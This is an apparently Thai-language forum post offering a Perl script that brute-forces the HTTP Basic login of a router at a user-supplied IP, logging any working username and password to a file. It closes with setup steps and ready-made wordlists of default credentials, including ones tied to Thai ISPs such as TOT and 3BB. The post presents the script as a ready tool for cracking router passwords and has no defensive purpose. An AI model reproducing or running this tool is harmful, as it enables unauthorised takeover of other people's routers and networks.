มาCrack พาสเวิร์ดของ Router กันบ้าง

นี่Code Perl

[Copy]

#!/usr/bin/perl
print "*****************************************

  _____________________
< Brute Authentication >
  ---------------------
       |  ,__,
        | (oo)____
          (__)    )\
             ||--|| *                          \n";
print "*    code by  windows98SE               *\n";
print "*****************************************\n";

use Socket;
use IO::Socket;
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

print "IP:";
chomp( my $target = <STDIN> );
my @userlist = readFile("user.txt");
my @passlist = readFile("pass.txt");
my $outfile = 'PW.txt';

my %result;
print "[+] Start Scan..\n";
scan($target);
print "[+] Done.\n";
system ("pause");

sub scan {
  my ($target) = @_;
  foreach my $user (@userlist){
   foreach my $pass (@passlist){
     print "[+] Test User=$user Pess=$pass\n";  
     my $browser = LWP::UserAgent->new();
     my $auth = HTTP::Request->new(GET=> 'http://'.$target);
     $auth->authorization_basic($user,$pass);
     my $result = $browser->request($auth)->status_line;
     if($result =~ m/200/ig){
      $result{$target} = "$user:$pass";
      print "[+] Found $target pass is Usr=$user:Pass=$pass\n";
      open(File, ">>", $outfile);
      print File "[+] $target ($result{$target})\n";
      close(File);
      print "\n\n[+] $target ($result{$target})\n\n";
      return;
     }
   }
  }
}

sub readFile{
  my @var;
  my ($file) = @_;
  open FILE, "<:utf8", "$file" or die "[+] Can't open $file : $!";
  while(<FILE>){
   my $line = $_;
   $line =~ s/\r|\n//g;
   next if (length($line) == 0);
   push(@var,$line);
  }
  close FILE;
  return(@var);
}

การใช้ไฟล์ Perl
ใช้โปรแกรม Active Perl
นำcodeไปใส่ใน nodepad++ หรืออะไรก็ได้
save crack router.pl

----------------------------------------------------
สร้างไฟล์
user.txt
-------
admin
root
------------
pass.txt
TTT
ttt
tot
TOT
root
3bb
3BB
admin
1234
123456
123456789
tot1234
123456123456
041687512
1234admin
synnet
tech
ANYCOM
ILMI
PASSWORD
Password
password
adminttd
comcomcom
monitor
manager
security
recovery
Wireless
volition
3ware
anicust
crack
hack

เข้าเลย *0*

Thank you ด้วยนะครับ

Credit:Thaishadow

ข้อมูลจาก ruk-com.in.th